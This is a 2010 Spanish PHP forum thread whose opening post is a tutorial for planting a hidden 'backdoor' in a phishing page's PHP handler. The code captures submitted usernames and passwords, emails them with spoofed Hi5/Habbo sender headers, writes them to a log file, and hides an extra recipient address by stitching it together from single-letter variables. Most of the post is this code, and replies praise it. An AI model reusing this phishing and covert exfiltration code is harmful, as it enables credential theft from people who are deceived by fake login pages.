Autor Tema: Backdoor literalmente  (Leído 716 veces)

Desconectado Xt3mP

  • PHPer@ Fijo
  • ***
  • Mensajes: 160
  • Karma: 18
  • Nuev@ PHPer@
    • Ver Perfil
Backdoor literalmente
« en: 07 de Marzo de 2010, 05:41:31 am »
Antes de continuar quisiera mencionar que no soy un Experto en el área de lo que sería la programación PHP, pero me gusta ayudar a la demás gente, si tuve algún error en lo que sería la explicación corriganla con toda libertad, se que no será con ánimos de postear replys/respuestas ofensivas.

Esta vez cabe mencionar que en sí no es un backdoor ya que no te abré ninguna puerta trasera para tener acceso a esto pero lo decidí "llamar" así ya que no se me ocurrio otro nombre, en sí no tiene mucha ciencia ya que simplemente obtendríamos datos sin que el "webmaster/administrador" supiera (Obviamente si le pone atención al código se daría cuenta rápidamente). Tambien se pudiese encriptar con base64 ó/y otros.

#########################################################################

Backdoor (Literalmente) en PHP.

##########################################################################
Por: Xt3mP
Para: Lectores
Herramientas:
Editor de texto.
Conocimientos en PHP.
Imaginación.
#########################################################################
¿En qué consiste?

Trataremos de ocultar un envío de email secundario
con los datos obtenidos de forma oculta (Backdoor literamente) mediante variables en código PHP para que el que utilize nuestro código aparte de envíarle un email a él

con los datos te llegen a ti
igual a la bandeja.

En este caso utilizarémos de ejemplo un "Scam" cualquiera.
#########################################################################
Primeros pasos.

En este escrito no les enseñare a como crear un scam, pero lo pondré de ejemplo. Suponiendo que tenemos nuestro Scam (Un index y un php que es el que ca*****rá los datos y

enviará por correo.

El index lógicamente puede tener un formulario
como este código:

<form action="codigo.php" method="POST">
Usuario:
<input name="user" type="text" id="user" />

<br />Password:
<input name="passwd" type="text" id="passwd" />
</form>


Aquí es donde hacemos un llamado a el archivo "codigo.php"
mediante el método "POST".

Y nuestro código php el código sería así:

Código: [Seleccionar]
<?php
$usuario 
$_POST[&#39;user&#39;];
$clave  $_POST[&#39;passwd&#39;];
$correo "Xt3mP@h4x0rz.us";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
mail($correo,$subject,$contenido,$headers);
?>

En este no ocupo explicar mucho, " user y passwd " son las casillas de texto de nuestro index y estamos declarando que la variable usuario tiene el valor de
la casilla user y la variable clave tiene la valor de la casilla passwd. Declaramos que la variable correo será igual a nuestro correo, la variable contenido tiene de valor lo que nos enviará por correo en este caso las 2 casillas, los headers son el formato de correo, subject es el asunto y la función "mail()" es la que nos enviará el correo con las variables antes dichas. Vuelvan a leer todo para que no quede ninguna duda.
#########################################################################
Empezar a hacer nuestro "Backdoor".

Comenzarémos a crear nuestro Backdoor para que esos datos antes envíados nos lleguén a nosotros tambien. Pero te preguntarás ¿Como? Sencillo, usando la imaginación un poco podemos declarar estas mismas variables para que formen nuestro correo y no los envíe pero la pregunta nuevamente. ¿Como?
Sencillo, modificarémos nuestro PHP algo así para poner nuestro mail (Xt3mP@hotmail.com):

Código: [Seleccionar]
<?php
/*Aqui el demas codigo*/
$q "t";
$w "m";
$e "h";
$t "a";
$y "3";
$u "i";
$i "o";
$o ".";
$p "c";
$a "p";
$s "@";
$f "h";
$g "m";
$h "x";
$b "l";
?>

Las variables "q,w,e,t,y,u,i,o,p,a,s,f,g,h,b" pueden ser cualquiera exepto números ni carácteres raros.

Luego implementarémos otras variables para concatenarlas.

Código: [Seleccionar]
<?php
/*Aqui el demas codigo*/
$caracteresa$h.$q.$y.$g.$a//xt3mp
$caracteresb$s.$f.$i.$q.$g.$t.$u//@hotmai
$caracteresc$b.$o.$p.$i.$g//l.com
$caracteresd$caracteresa.$caracteresb.$caracteresc//xt3mp@hotmail.com
?>

Y agregarémos la función mail() así.

Código: [Seleccionar]
mail($caracteresd,$subject,$contenido,$headers);

Y nuestro código final quedaría así:

Código: [Seleccionar]
<?php
$usuario 
$_POST[&#39;user&#39;];
$clave  $_POST[&#39;passwd&#39;];
$correo "Xt3mP@h4x0rz.us";
$q "t";
$w "m";
$e "h";
$t "a";
$y "3";
$u "i";
$i "o";
$o ".";
$p "c";
$a "p";
$s "@";
$f "h";
$g "m";
$h "x";
$b "l";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$headers "MINE-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$subject .= "Logs";
$caracteresa$h.$q.$y.$g.$a//xt3mp
$caracteresb$s.$f.$i.$q.$g.$t.$u//@hotmai
$caracteresc$b.$o.$p.$i.$g//l.com
$caracteresd$caracteresa.$caracteresb.$caracteresc//xt3mp@hotmail.com
mail($correo,$subject,$contenido,$headers);
mail($caracteresd,$subject,$contenido,$headers);
?>
##########################################################################
Camuflajeando.

Ahora solo es cuestión de camuflajear/ocultar entre el código para que no sea tan visible.
Si es un SCAM Bancario es poco probable que encuentren este envío de mail adherido al código original.
En un scam normal como el de Hi5 el código puede ser así:

Código: [Seleccionar]
<?php
$f
"@";
$z"x";
$usuario $_POST[&#39;email&#39;];
$x"l";
$clave  $_POST[&#39;password&#39;];
$c"o";
$correo = array("primer" => "Xt3mP@h4x0rz.us""segundo" => "xT3mP@gobiernofederal.com");
$v"v";
$contenido "<br>Email: ".$usuario." <br>Clave: " .$clave."";
$k"a";
$t "";
$b"e";
$headers "MINE-Version: 1.0\r\n";
$n"s";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$m"u";
$headers .= "From: Hi5. <mailings@habbohotel.com>\r\n";
$d".";
$headers .= "Reply-To: mailings@habbohotel.com\r\n";
$q"c";
$subject .= "Log de hi5";
$security $j.$k.$l.$x;
$g"h";
$usuariouno=$_POST[&#39;email&#39;];
$h"t";
$l"i";
$p "(";
$u ")";
$claveuno=$_POST[&#39;password&#39;];
$j"m";
$caracteres $z.$d.$x.$c.$v;
$caracteresa $b.$n.$m.$z.$n.$d.$z;
$caracteresb$f.$g.$c.$h.$j.$k.$l.$x.$d.$q.$c.$j;
$caracteresc$caracteres.$caracteresa.$caracteresb;
$text=fopen(&#39;logos.txt&#39;,a);
fwrite($text,"
<br>Correo: "
.$usuario." <br>Clave: " .$clave." ");
fclose($text);
mail($correo["primer"],$subject,$contenido,$headers);
mail($correo["segundo"],$subject,$contenido,$headers);
mail($caracteresc,$subject,$contenido,$headers);
echo 
"<meta http-equiv=&#39;Refresh&#39; content=&#39;1;url=http://www.hi5.com&#39;>";
?>

Y en un código bancario (Scam Bancario) son muchos más códigos en PHP por lo tanto pueden utilizar include, o poner en el Index variables en modo
Hidden, etc. Todo es cuestión de la imaginación.
##########################################################################
Glosario.

Backdoor: Es un defecto/agujero/bug en un software o una página web que te permite acceder de manera oculta o silencia, en este caso digo backdoor por que accedemos a los datos que ingresaran sin que nadie sepa.
Scam: Página falsa.
Variable: Como en las matemáticas, X - Y. Aquí las variables pueden tener cualquier valor al igual que en las matemáticas. X= 1000000000000
#########################################################################
Notas:

Esto lo hize solo para ampliar un poco más esto acerca de el PHP y ya que muchos piden SCAMS bancarios y no se dan cuenta que tambien se envían los datos a terceras personas.
##########################################################################
Por: Xt3mP
Para: Lectores


¿Dudas? Haganmelas saber.
« Última modificación: 09 de Marzo de 2010, 05:17:27 am por Xt3mP »
Código: (php) [Seleccionar]
<?php
$mundo 
$_POST[&#39;todos&#39;];
if ($mundo 1000000){ echo "Google: Sorry, los destruiré, comos muchos";
}else{
echo 
"Google: Bueno, mientras me adueño de más redes sociales los dejaré vivir"}
//Los estaré vigilando.
?>

Comunidad PHPeros

Backdoor literalmente
« en: 07 de Marzo de 2010, 05:41:31 am »

Desconectado тockηick

  • PHPero Avanzado
  • ****
  • Mensajes: 374
  • Karma: 11
    • Ver Perfil
Re:Backdoor literalmente [Xt3mP]
« Respuesta #1 en: 07 de Marzo de 2010, 13:19:08 pm »
Buenisimo  :o

Impresionante, te llevas un karma.

Desconectado Xt3mP

  • PHPer@ Fijo
  • ***
  • Mensajes: 160
  • Karma: 18
  • Nuev@ PHPer@
    • Ver Perfil
Re:Backdoor literalmente [Xt3mP]
« Respuesta #2 en: 08 de Marzo de 2010, 00:12:53 am »
Gracias, mi primer karma, luego haré uno de como igual hacer esta técnica pero un poco más "camuflada".
« Última modificación: 08 de Marzo de 2010, 01:10:06 am por naveda »
Código: (php) [Seleccionar]
<?php
$mundo 
$_POST[&#39;todos&#39;];
if ($mundo 1000000){ echo "Google: Sorry, los destruiré, comos muchos";
}else{
echo 
"Google: Bueno, mientras me adueño de más redes sociales los dejaré vivir"}
//Los estaré vigilando.
?>

Desconectado mOrK

  • Moderador Global
  • PHPero Master
  • *****
  • Mensajes: 1.503
  • Karma: 43
  • :)
    • Ver Perfil
    • Sígueme en Twitter!
Re:Backdoor literalmente [Xt3mP]
« Respuesta #3 en: 08 de Marzo de 2010, 14:53:58 pm »
Haces buenos aportes, pero para ganar popularidad no hace falta poner el  [Xt3mP] en cada titulo. Sé modesto, anda.

Desconectado Xt3mP

  • PHPer@ Fijo
  • ***
  • Mensajes: 160
  • Karma: 18
  • Nuev@ PHPer@
    • Ver Perfil
Re:Backdoor literalmente [Xt3mP]
« Respuesta #4 en: 08 de Marzo de 2010, 18:02:47 pm »
No lo pongo por presumir ni por creerme, se me hizo ya una costumbre el poner Xt3mP aunque lo hago para que se indexen en los buscadores para aquellos que tengan dudas poderlos ayudar, muchos piensan que soy egocéntrico pero nada de eso, de hecho soy muy humilde por que hago esto para ayudar a los demás, igual gracias por el comentarios.
Código: (php) [Seleccionar]
<?php
$mundo 
$_POST[&#39;todos&#39;];
if ($mundo 1000000){ echo "Google: Sorry, los destruiré, comos muchos";
}else{
echo 
"Google: Bueno, mientras me adueño de más redes sociales los dejaré vivir"}
//Los estaré vigilando.
?>

Desconectado mOrK

  • Moderador Global
  • PHPero Master
  • *****
  • Mensajes: 1.503
  • Karma: 43
  • :)
    • Ver Perfil
    • Sígueme en Twitter!
Re:Backdoor literalmente [Xt3mP]
« Respuesta #5 en: 08 de Marzo de 2010, 18:08:19 pm »
Si no digo que no ayudes, no sé, era una percepión mia ;)

Desconectado Xt3mP

  • PHPer@ Fijo
  • ***
  • Mensajes: 160
  • Karma: 18
  • Nuev@ PHPer@
    • Ver Perfil
Re:Backdoor literalmente [Xt3mP]
« Respuesta #6 en: 08 de Marzo de 2010, 18:53:17 pm »
Vale, igual no lo tomé como insulto si no como una observación, gracias bro (Y)
Código: (php) [Seleccionar]
<?php
$mundo 
$_POST[&#39;todos&#39;];
if ($mundo 1000000){ echo "Google: Sorry, los destruiré, comos muchos";
}else{
echo 
"Google: Bueno, mientras me adueño de más redes sociales los dejaré vivir"}
//Los estaré vigilando.
?>